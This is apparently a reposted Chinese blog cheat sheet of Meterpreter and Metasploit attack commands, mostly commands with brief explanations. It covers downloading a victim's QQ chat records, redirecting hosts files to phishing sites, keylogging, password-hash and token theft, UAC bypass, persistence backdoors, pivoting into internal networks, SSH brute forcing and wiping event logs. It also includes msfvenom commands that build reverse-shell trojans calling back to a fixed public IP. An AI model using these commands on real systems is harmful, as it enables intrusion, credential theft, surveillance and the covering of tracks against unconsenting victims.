meterpreter常用命令
meterpreter常用命令
https://www.cnblogs.com/ssooking/p/6192995.html
run vnc 无法操作的远程桌面
1、background命令
返回,把meterpreter后台挂起
2、session命令
session 命令可以查看已经成功获取的会话
可以使用session -i 连接到指定序号的meterpreter会话已继续利用
3、shell命令
获取目标主机的远程命令行shell
如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试
4、cat命令
查看目标主机上的文档内容
例如:cat C:\\boot.ini 查看目标主机启动引导信息
5、getwd命令
获取系统工作的当前目录
6、upload命令
上传文件到目标主机,例如把后门程序setup.exe传到目标主机system32目录下
upload setup.exe C:\\windows\\system32\
7、download命令
把目标主机上的文件下载到我们的攻击主机上
例如:把目标主机C盘根目录下的boot.ini文件下载到攻击主机的/root/目录下
download C:\\boot.ini /root/
download C:\\"Program Files"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/
把目标主机上的QQ聊天记录下载到攻击主机的root目录下(仅实验用途,是否要考虑变更你QQ程序的安装路径了呢)
8、edit命令
调用vi编辑器,对目标主机上的文件修改
例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站(仅限实验用途)
在目标主机上ping www.baidu.com,出来的目标IP就是我们修改的192.168.1.1了
9、search命令
在目标主机文件系统上查找搜索文件
例如:search -d c:\\ -f *.doc
在目标主机C盘下搜索doc文档
10、ipconfig命令
这个不多说,查看目标主机上的网络参数
11、portfwd命令
端口转发
例如目标主机上开启了3389,但是只允许特定IP访问,攻击主机无法连接,可以使用portfwd命令把目标主机的3389端口转发到其他端口打开
例如:portfwd add -l 1122 -p 3389 -r 192.168.250.176
把目标主机192.168.250.176的3389端口转发到1122端口
这是只需要连接目标的1122端口就可以打开远程桌面了
rdesktop -u administrator -p 123456 192.168.250.176:1122
12、route命令
这个也不多说,显示目标主机上的主机路由表
13、getuid
查看meterpreter注入到目标主机的进程所属用户
14、sysinfo
查看目标主机系统信息
15、ps命令
查看目标主机上运行的进程信息,结合migrate使用
16、migrate
将meterpreter会话移植到另一个进程
例如反弹的meterpreter会话是对方打开了一个你预置特殊代码的word文档而产生的,那么对方一旦关闭掉该word文档,我们获取到的meterpreter会话就会随之关闭,所以把会话进程注入到explorer.exe是一个好方法
可以先用ps命令看一下目标主机的explorer.exe进程的pid
是1668
然后我们用migrate 1668 把meterpreter会话注入进去
17、execute命令
在目标主机上运行某个程序
例如我们目前注入进程到explorer.exe后,运行用户为超级管理员administrator
我们运行一下目标主机上的记事本程序
execute -f notepad.exe
目标主机上立马弹出来一个记事本程序,如下图:
这样太明显,如果希望隐藏后台执行,加参数-H
execute -H -f notepad.exe
此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了
再看一个,我们运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上
命令:
execute -H -i -f cmd.exe
这达到的效果就跟使用shell命令一样了
再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。
execute -H -m -d notepad.exe -f wce.exe -a "-o wce.txt"
-d 在目标主机执行时显示的进程名称(用以伪装)
-m 直接从内存中执行
"-o wce.txt"是wce.exe的运行参数
18、getpid
获取meterpreter会话在目标主机上注入进程的进程号
19、shutdown命令
关闭目标主机
20、后渗透模块post/windows/gather/forensics/enum_drives调用
在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息:
命令,在msfconsole下:
use post/windows/gather/forensics/enum_drives
set SESSION 1
exploit
效果如图:
或直接在meterpreter会话中以命令run post/windows/gather/forensics/enum_drives调用
21、调用post/windows/gather/checkvm后渗透模块,确定目标主机是否是一台虚拟机
命令:
run post/windows/gather/checkvm
效果如下图:
22、persistence后渗透模块向目标主机植入后门程序
命令:
run persistence -X -i 5 -p 4444 -r 172.17.11.18
-X 在目标主机上开机自启动
-i 不断尝试反向连接的时间间隔
效果如下图:
执行过程:
创建攻击载荷->攻击载荷植入到目标主机c:\windows\temp目录下,是一个.vbs的脚本->写目标主机注册表键值实现开机自动运行。
下图,在攻击主机上监听4444端口,等待反弹会话成功
下图,看目标主机注册表Run键值果然被写入了一个pDTizIlNK的键值,执行后门vbs脚本
23、调用metsvc后渗透攻击模块
命令:run metsvc
效果如下图:
执行过程:在目标主机上创建一个监听31337端口的服务->在目标主机c:\windows\temp\下创建一个存放后门服务有关文件程序的目录,并上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个文件到该目录下->开启服务
成功后:在目标主机上看到31337号端口已开,且服务多了一个meterpreter(如下图)
24、调用getgui后渗透攻击模块
作用:开启目标主机远程桌面,并可添加管理员组账号
命令:
run getgui -e
开启目标主机远程桌面
如下图:
开启目标主机的远程桌面服务后,可以添加账号以便利用
命令:
run getgui -u example_username -p example_password
如下图:
执行成功,可以使用kali的rdesktop命令使用远程桌面连接目标主机
rdesktop -u kali -p meterpreter 192.168.250.176:3389
25、提权命令getsystem
使用getsystem提升当前进城执行账户微system用户,拿到系统最高权限
命令:getsystem
26、键盘记录器功能keyscan
命令:
keyscan_start 开启记录目标主机的键盘输入
keyscan_dump 输出截获到的目标键盘输入字符信息
keyscan_stop 停止键盘记录
效果如下图:
箭头所指为截获到目标主机的键盘输入字符
27、系统账号密码获取
命令:hashdump
在获得system权限的情况下,使用hashdump命令可以到处目标主机的SAM文件,获取目标主机的账号密码hash信息,剩下的可以用爆破软件算出明文密码
效果如图:
28、调用post/windows/gather/enum_applications模块获取目标主机上的软件安装信息
命令:run post/windows/gather/enum_applications
效果如图:
29、调用post/windows/gather/dumplinks获取目标主机上最近访问过的文档、链接信息
命令:run post/windows/gather/dumplinks
效果如下图:
30、调用post/windows/gather/enum_ie后渗透模块,读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码
命令:run post/windows/gather/enum_ie
效果如下图:
获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下。
31、route命令
使用route命令可以借助meterpreter会话进一步msf渗透内网,我们已经拿下并产生meterpreter反弹会话的主机可能出于内网之中,外有一层NAT,我们无法直接向其内网中其他主机发起攻击,则可以借助已产生的meterpreter会话作为路由跳板,攻击内网其它主机。
可以先使用run get_local_subnets命令查看已拿下的目标主机的内网IP段情况
命令:run get_local_subnets
如下图:
其内网尚有192.168.249.0/24网段,我们无法直接访问
下面做一条路由,下一跳为当前拿下主机的session id(目前为5),即所有对249网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递。
命令:route add 192.168.249.0 255.255.255.0 5
再使用route print查看一下路由表,效果如下图:
最后我们就可以通过这条路由,以当前拿下的主机meterpreter作为路由跳板攻击249网段中另一台有ms08-067漏洞的主机,获得反弹会话成功顺利拿下了另一台内网主机192.168.249.1,如下图:
32、clearev命令
入侵痕迹擦除
在渗透利用过程中难免留下日志等信息痕迹,使用clearev命令擦除痕迹后再跑。
命令:clearev
效果如下图:
metasploit msfconsole 命令
msf > help
db_autopwn Commands
===================
Command Description
------- -----------
db_autopwn Automatically exploit everything
Core Commands
=============
Command Description
------- -----------
? Help menu
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
history Show command history
irb Drop into irb scripting mode
load Load a framework plugin
quit Exit the console
route Route traffic through a session
save Saves the active datastores
sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
version Show the framework and console library version numbers
Module Commands
===============
Command Description
------- -----------
advanced Displays advanced options for one or more modules
back Move back from the current context
edit Edit the current module or a file with the preferred editor
info Displays information about one or more modules
loadpath Searches for and loads modules from a path
options Displays global options or for one or more modules
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
reload_all Reloads all modules from all defined module paths
search Searches module names and descriptions
show Displays modules of a given type, or all modules
use Selects a module by name
Job Commands
============
Command Description
------- -----------
handler Start a payload handler as job
jobs Displays and manages jobs
kill Kill a job
rename_job Rename a job
Resource Script Commands
========================
Command Description
------- -----------
makerc Save commands entered since start to a file
resource Run the commands stored in a file
Database Backend Commands
=========================
Command Description
------- -----------
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces
Credentials Backend Commands
============================
Command Description
------- -----------
creds List all credentials in the database
msf >
来源 http://www.cnblogs.com/hookjoy/p/7989715.html
- payload的几个常用生成
- 生成windows下的反弹木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=60.205.212.140 LPORT=8888 -f exe > 8888.exe
// -p < payload > -f < format> -o < path> = >
- 监听
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 172.17.150.246 //阿里云云服务器这里是内网ip
set LPORT 8888
exploit -j
- PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=60.205.212.140 LPORT=8888 -f raw > shell.php
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST 172.17.150.246
set LPORT 8888
exploit -j
- shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LPORT=1234 LHOST=60.205.212.140 -e x86/shikata_ga_nai -i 11 -f py > 1.py //-e 使用编码 -i 编码次数
- 内网代理
- 首先需要链接sessions,在此基础下添加路由meterpreter > run get_local_subnets //获取网段
meterpreter > run autoroute -s 172.2.175.0/24 //添加路由
meterpreter > run autoroute -p //查看路由
meterpreter > run autoroute -d -s 172.2.175.0 //删除网段
meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 //探测该网段下的存活主机。
meterpreter > background //后台sessions
- 提权
- getsystemmeterpreter > getsystem //直getsystem提权,最常用简单的办法
- 使用exp提权meterpreter > background //先后台运行会话
[*] Backgrounding session 1…
msf > use post/windows/escalate/ms10_073_kbdlayout
msf > show options
msf > set session 1 //设置要使用的会话
msf post(ms10_073_kbdlayout) > exploit
注意:如果创建了一个system进程,就可以立马sessions 1进入会话,然后ps查看进程,使用migrate pid注入到进程。
或者直接:
meterpreter > run post/windows/escalate/ms10_073_kbdlayout
3.盗取令牌
meterpreter > use incognito //进入这个模块
meterpreter > list_tokens –u //查看存在的令牌
meterpreter > impersonate_token NT AUTXXXX\SYSTEM //令牌是DelegationTokens一列,getuid查看,两个斜杠
注:只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的,建好的账户没有这个权限。使用菜刀(IIS服务器权限)反弹meterpreter是服务型权限。
4.Bypassuac
msf > use exploit/windows/local/bypassuac //32位与64位一样,其他几个模块也一样
msf > show options
msf > set session 4
msf > run //成功后会返回一个新的session,进入新会话,发现权限没变,使用getsystem即可完成提权
5.Hash
meterpreter > run post/windows/gather/smart_hashdump //读取hash这种做法最智能,效果最好。
- 建立持久后门
- 服务启动后门:
meterpreter > run metsvc -A //再开起一个终端,进入msfconsole
msf > use exploit/multi/handler //新终端中监听
msf > set payload windows/metsvc_bind_tcp
msf > set LPORT 31337
msf > set RHOST 192.168.0.128
msf > run //获取到的会话是system权限
- 启动项启动后门
meterpreter > run persistence -X -i 10 -p 6666 -r 192.168.71.105
// -X 系统开机自启,-i 10 10秒重连一次,-p 监听端口,-r 监听机。直接监听就好了,他自己会链接回来。
注意到移除 persistence 后门的办法是删除 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ 中的注册表键和 C:\WINDOWS\TEMP\ 中的 VBScript 文件。
缺点:容易被杀毒软件杀 。
这两个后门有个弊端,在进程中都会存在服务名称为meterpreter的进程。
- 漏洞扫描
- 对端口都扫描
use auxiliary/scanner/portscan/tcp
show options
set rhosts 192.168.2.1-255
set ports 21,22,25,443,445,1433,3306
set threads 20
exploit
- mssql开发利用
- 对各个ip是否有mssql服务的探测
use scanner/mssql/mssql_ping //测试MSSQL的存在和信息
show options
set rhosts 192.168.2.1-255
set threads 30
exploit - 对扫描到的ip进行爆破
use scanner/mssql/mssql_login //具体配置show options。 - sa权限对其利用
use admin/mssql/mssql_exec
set rhost 192.168.2.10
set password sa
set CMD cmd.exe /c echo hello
exploit
- mysql开放利用
- 爆破ssh模块:use auxiliary/scanner/ssh/ssh_login
set rhosts 7.7.7.20
set username root
set pass_file /root/pass.txt //加载字典,可以收集密码做字典
set threads 50
run
- 通过nmap扫描基本漏洞:msf > nmap –script=vuln 受害靶机ip地址
msf > nmap –script=mysql-info 192.168.0.4 //扫描mysql数据库信息 版本 等..
最后清除记录
msf > clearev //删除目标机上的应用程序、系统和安全日志。
一些常用命令
查看系统命令 sysinfo
截图 screenshot
查看是否是虚拟机 run checkvm
查看运行木马的用户 getuid
注入到进程 migrate pid //成功会提示successfully
加载mimikatz模块 meterpreter > load mimikatz meterpreter > wdigest //需要system权限
获取键盘记录:meterpreter> run post/windows/capture/keylog_recorder #运行键盘记录模块,他自己创建本文。
浙公网安备 33010602011771号